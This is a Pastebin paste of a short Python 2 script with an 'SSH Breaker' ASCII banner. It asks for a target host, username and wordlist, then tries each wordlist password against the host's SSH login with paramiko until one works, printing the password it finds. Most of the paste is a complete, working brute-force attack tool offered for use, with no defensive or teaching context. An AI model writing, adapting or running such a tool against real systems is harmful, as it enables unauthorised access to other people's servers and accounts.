Guest User

Untitled

a guest
Oct 5th, 2018
175
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.06 KB | None | 0 0
  1. import paramiko, sys, os, socket
  2.  
  3. global host, username, line, input_file
  4.  
  5. line = "\n-------------------------------------------\n"
  6. os.system('cls' if os.name == 'nt' else 'clear')
  7. print (" _____ _____ _ _ ____ _ ")
  8. print (" / ____/ ____| | | | | _ \ | | ")
  9. print (" | (___| (___ | |__| | | |_) |_ __ ___ __ _| | _____ _ __ ")
  10. print (" \___ \\\___ \| __ | | _ <| '__/ _ \/ _` | |/ / _ \ '__|")
  11. print (" ____) |___) | | | | | |_) | | | __/ (_| | < __/ | ")
  12. print (" |_____/_____/|_| |_| |____/|_| \___|\__,_|_|\_\___|_| ")
  13. print ("\nCreated by: Felipe Bueno\nVersion_1.0.0\n\n")
  14. try:
  15. host = raw_input("Host: ")
  16. username = raw_input("Username: ")
  17. input_file = raw_input("WordList: ")
  18.  
  19. if os.path.exists(input_file) == False:
  20. print ("\n WordList Does Not Exist")
  21. sys.exit(4)
  22. except KeyboardInterrupt:
  23. print ("\n\n Exiting")
  24. sys.exit(3)
  25.  
  26. def ssh_connect(password, code = 0):
  27. ssh = paramiko.SSHClient()
  28. ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
  29.  
  30. try:
  31. ssh.connect(host, port=22, username=username, password=password)
  32. except paramiko.AuthenticationException:
  33. code = 1
  34. except socket.error, e:
  35. code = 2
  36.  
  37. ssh.close()
  38. return code
  39.  
  40. input_file = open(input_file)
  41.  
  42. print("%s " % (line))
  43.  
  44. for i in input_file.readlines():
  45. password = i.strip("\n")
  46. try:
  47. response = ssh_connect(password)
  48.  
  49. if response == 0:
  50. print("%s User: %s [!!!!!!!] PASS FOUND: %s%s" % (line, username, password, line))
  51. sys.exit(0)
  52. elif response == 1:
  53. print("User: %s || Pass= %s == Incorrect!" % (username, password))
  54. elif response == 2:
  55. print(" Connection Failed ")
  56. sys.exit(2)
  57. except Exception, e:
  58. print e
  59. pass
  60.  
  61. input_file.close()
Add Comment
Please, Sign In to add comment